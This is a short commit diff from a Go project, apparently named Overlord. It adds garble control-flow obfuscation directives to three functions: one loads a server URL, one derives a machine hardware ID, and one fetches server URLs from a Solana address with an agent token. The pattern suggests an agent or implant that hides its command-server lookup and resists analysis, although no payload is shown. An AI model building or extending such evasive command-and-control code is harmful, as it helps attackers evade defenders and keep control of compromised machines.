add control flow obf for garble
This commit is contained in:
@@ -75,6 +75,7 @@ type Config struct {
|
||||
}
|
||||
|
||||
func Load() Config {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
|
||||
if server == "" {
|
||||
server = DefaultServerURL
|
||||
|
||||
@@ -18,6 +18,7 @@ type Identity struct {
|
||||
}
|
||||
|
||||
func DeriveIdentity() Identity {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
hwid := deriveHWID()
|
||||
machineID := platformMachineID()
|
||||
if machineID == "" {
|
||||
|
||||
@@ -62,6 +62,7 @@ type parsedInstruction struct {
|
||||
}
|
||||
|
||||
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if solAddress == "" {
|
||||
return nil, fmt.Errorf("solana address is empty")
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user